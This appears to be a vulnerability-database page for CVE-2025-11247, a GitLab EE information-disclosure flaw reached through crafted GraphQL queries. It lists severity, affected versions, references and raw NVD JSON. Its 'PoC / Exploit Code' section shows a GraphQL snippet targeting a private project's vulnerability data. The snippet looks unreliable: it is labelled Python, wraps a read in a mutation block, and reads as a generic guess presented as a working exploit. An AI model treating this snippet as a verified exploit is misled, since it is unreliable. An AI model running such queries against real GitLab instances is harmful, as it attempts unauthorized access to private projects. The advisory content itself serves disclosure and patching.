CVE-2025-11247

Description

GitLab has remediated an issue in GitLab EE affecting all versions from 13.2 before 18.4.6, 18.5 before 18.5.4, and 18.6 before 18.6.2 that could have allowed an authenticated user to disclose sensitive information from private projects by executing specifically crafted GraphQL queries.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE

GitLab EE 13.2 - 18.4.6

GitLab EE 18.5 - 18.5.4

GitLab EE 18.6 - 18.6.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

mutation {
  project(fullPath: "target/private-repo") {
    vulnerabilities {
      nodes {
        id
        title
        description
      }
    }
  }
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11247
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11247
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11247/
[4] VulDB https://vuldb.com/cve/CVE-2025-11247
[5] https://about.gitlab.com/releases/2025/12/10/patch-release-gitlab-18-6-2-released/
[6] https://gitlab.com/gitlab-org/gitlab/-/issues/573766
[7] https://hackerone.com/reports/3307422

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-11247", "sourceIdentifier": "[email protected]", "published": "2025-12-11T05:16:35.773", "lastModified": "2025-12-23T21:05:42.257", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab EE affecting all versions from 13.2 before 18.4.6, 18.5 before 18.5.4, and 18.6 before 18.6.2 that could have allowed an authenticated user to disclose sensitive information from private projects by executing specifically crafted GraphQL queries."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "13.2.0", "versionEndExcluding": "18.4.6", "matchCriteriaId": "46208CB0-DFB0-4246-AAB2-64B8C0394EB6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.5.4", "matchCriteriaId": "910967DB-0A8C-4436-9D9E-37BD610E7367"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.6.2", "matchCriteriaId": "6343A083-3E1C-4551-B230-76CABC3FDD67"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2025/12/10/patch-release-gitlab-18-6-2-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/573766", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3307422", "source": "[email protected]", "tags": ["Permissions Required"]}]}}